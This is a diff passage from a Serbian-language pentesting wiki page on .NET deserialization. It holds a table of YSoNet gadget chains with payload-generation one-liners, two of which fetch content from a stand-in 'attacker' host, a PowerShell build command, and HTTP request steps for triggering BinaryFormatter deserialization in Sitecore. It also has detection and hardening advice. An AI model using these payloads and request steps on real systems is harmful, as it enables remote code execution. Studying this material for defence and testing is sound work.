objekata** za desetine gadgeta i formata serijalizacije. +Tehnika ObjectDataProvider + ExpandedWrapper predstavljena iznad samo je jedan od MNOGIH lanaca gadgeta koji se mogu zloupotrebiti kada aplikacija izvodi **nesigurnu .NET deserijalizaciju**. Moderni alati za red-team kao što su **[YSoNet](https://github.com/irsdl/ysonet)** (i stariji [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizuju kreiranje **spremnih za upotrebu zlonamernih objektnih grafova** za desetine gadgeta i formata serijalizacije. -Ispod je sažeta referenca najkorisnijih lanaca isporučenih sa *YSoNet* zajedno sa brzim objašnjenjem kako funkcionišu i primerima komandi za generisanje payload-a. +Ispod je sažeti referentni pregled najkorisnijih lanaca isporučenih sa *YSoNet* zajedno sa kratkim objašnjenjem kako rade i primerima komandi za generisanje payload-ova. -| Gadget Lanac | Ključna Ideja / Primitiv | Uobičajeni Serijalizatori | YSoNet jednorazna komanda | -|--------------|---------------------------|--------------------------|---------------------------| -| **TypeConfuseDelegate** | Kvari `DelegateSerializationHolder` zapis tako da, kada se materializuje, delegat pokazuje na *bilo koju* metodu koju napadač obezbedi (npr. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | -| **ActivitySurrogateSelector** | Zloupotrebljava `System.Workflow.ComponentModel.ActivitySurrogateSelector` da *obiđe .NET ≥4.8 filtriranje tipova* i direktno pozove **konstruktor** obezbeđene klase ili **kompajlira** C# datoteku u hodu | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | -| **DataSetOldBehaviour** | Iskorišćava **legacy XML** reprezentaciju `System.Data.DataSet` da instancira proizvoljne tipove popunjavanjem `` / `` polja (opciono lažirajući skup sa `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "…" --spoofedAssembly mscorlib > payload.xml` | -| **GetterCompilerResults** | Na WPF omogućenom runtime-u (> .NET 5) povezuje gettere svojstava dok ne dođe do `System.CodeDom.Compiler.CompilerResults`, zatim *kompajlira* ili *učitava* DLL obezbeđen sa `-c` | `Json.NET` bez tipa, `MessagePack` bez tipa | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | -| **ObjectDataProvider** (pregled) | Koristi WPF `System.Windows.Data.ObjectDataProvider` da pozove proizvoljnu statičku metodu sa kontrolisanim argumentima. YSoNet dodaje zgodnu varijantu `--xamlurl` za hostovanje malicioznog XAML-a na daljinu | `BinaryFormatter`, `Json.NET`, `XAML`, *itd.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | -| **PSObject (CVE-2017-8565)** | Ugrađuje `ScriptBlock` u `System.Management.Automation.PSObject` koji se izvršava kada PowerShell deserializuje objekat | PowerShell daljinsko upravljanje, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | +| Lanac gadgeta | Ključna ideja / primitiv | Uobičajeni serijalizatori | YSoNet one-liner | +|--------------|----------------------|--------------------|------------------| +| **TypeConfuseDelegate** | Korumpira zapis `DelegateSerializationHolder` tako da, nakon materializacije, delegat pokazuje na *bilo koju* metodu koju napadač obezbedi (npr. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | Zloupotrebljava `System.Workflow.ComponentModel.ActivitySurrogateSelector` da *zaobiđe .NET ≥4.8 filtriranje tipova* i direktno pozove **konstruktor** zadate klase ili **kompajlira** C# fajl u letu | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | Iskorišćava **nasleđenu XML** reprezentaciju `System.Data.DataSet` da instancira proizvoljne tipove popunjavanjem polja `` / `` (opciono falsifikujući assembly pomoću `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "…" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | Na runtime okruženjima sa podrškom za WPF (> .NET 5) ulančava getters svojstava dok ne dosegne `System.CodeDom.Compiler.CompilerResults`, zatim *kompajlira* ili *učitava* DLL prosleđen sa `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (review) | Koristi WPF `System.Windows.Data.ObjectDataProvider` za pozivanje proizvoljne statičke metode sa kontrolisanim argumentima. YSoNet dodaje praktičnu `--xamlurl` varijantu za hostovanje zlonamernog XAML-a na daljinu | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| **PSObject (CVE-2017-8565)** | Ugradi `ScriptBlock` u `System.Management.Automation.PSObject` koji se izvršava kada PowerShell deserijalizuje objekat | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | > [!TIP] -> Svi payload-i su **podrazumevano napisani u *stdout***, što olakšava preusmeravanje u druge alate (npr. generatore ViewState-a, base64 enkodere, HTTP klijente). +> Svi payloads su po defaultu **ispisani na *stdout***, što ih čini trivijalnim za prosleđivanje (pipe) drugim alatima (npr. ViewState generatorima, base64 enkoderima, HTTP klijentima). -### Izgradnja / Instalacija YSoNet +### Izgradnja / instalacija YSoNet -Ako nema prekompajliranih binarnih datoteka dostupnih pod *Actions ➜ Artifacts* / *Releases*, sledeća **PowerShell** jednorazna komanda će postaviti okruženje za izgradnju, klonirati repozitorijum i kompajlirati sve u *Release* modu: +Ako nema pre-compiled binarnih fajlova dostupnih pod *Actions ➜ Artifacts* / *Releases*, sledeći **PowerShell** jednolinijski komad će podesiti build okruženje, klonirati repozitorijum i kompajlirati sve u *Release* modu: ```powershell Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; @@ -216,17 +216,48 @@ cd ysonet nuget restore ysonet.sln msbuild ysonet.sln -p:Configuration=Release ``` -Kompilirani `ysonet.exe` se može pronaći u `ysonet/bin/Release/`. +The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`. -### Detekcija i Ojačavanje -* **Detektujte** neočekivane podprocese `w3wp.exe`, `PowerShell.exe`, ili bilo koji proces koji deserializuje podatke koje je dostavio korisnik (npr. `MessagePack`, `Json.NET`). -* Omogućite i **sprovodite filtriranje tipova** (`TypeFilterLevel` = *Full*, prilagođeni `SurrogateSelector`, `SerializationBinder`, *itd.*) kada god se legendarni `BinaryFormatter` / `NetDataContractSerializer` ne može ukloniti. -* Gde god je to moguće, migrirajte na **`System.Text.Json`** ili **`DataContractJsonSerializer`** sa konvertorima zasnovanim na beloj listi. -* Blokirajte opasne WPF biblioteke (`PresentationFramework`, `System.Workflow.*`) da se učitavaju u web procesima koji ih nikada ne bi trebali koristiti. +### Detekcija & Hardening +* **Detektujte** neočekivane child procese `w3wp.exe`, `PowerShell.exe`, ili bilo kog procesa koji deserializuje podatke koje dostavlja korisnik (npr. `MessagePack`, `Json.NET`). +* Omogućite i **primenite filtriranje tipova** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) kad god se legacy `BinaryFormatter` / `NetDataContractSerializer` ne može ukloniti. +* Gde je moguće, migrirajte na **`System.Text.Json`** ili **`DataContractJsonSerializer`** sa konverterima zasnovanim na whitelisti. +* Blokirajte opasne WPF assemblies (`PresentationFramework`, `System.Workflow.*`) da se ne učitavaju u web procesima kojima oni nikada ne trebaju. + +## Praktični sink: Sitecore convertToRuntimeHtml → BinaryFormatter + +Praktičan .NET sink dostupan u autentifikovanim Sitecore XP Content Editor tokovima: + +- Sink API: `Sitecore.Convert.Base64ToObject(string)` poziva `new BinaryFormatter().Deserialize(...)`. +- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, koji traži susedni element sa `id="{iframeId}_inner"` i čita atribut `value` koji se tretira kao base64‑kodirani serijalizovani podatak. Rezultat se kastuje u string i umeće u HTML. + +Minimalan end‑to‑end (autentifikovano): +``` +// Load HTML into EditHtml session +POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= + + + + + +// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization +GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... +``` +- Gadget: bilo koji BinaryFormatter chain koji vraća string (side‑effects se izvršavaju tokom deserialization). Pogledajte YSoNet/ysoserial.net za generisanje payloads. + +Za kompletnu lančanu vezu koja počinje pre‑auth sa HTML cache poisoning u Sitecore i vodi do ovog sinka: + +{{#ref}} +../../network-services-pentesting/pentesting-web/sitecore/README.md +{{#endref}} ## Reference - [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) - [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net) - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) +- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) {{#include ../../banners/hacktricks-training.md}}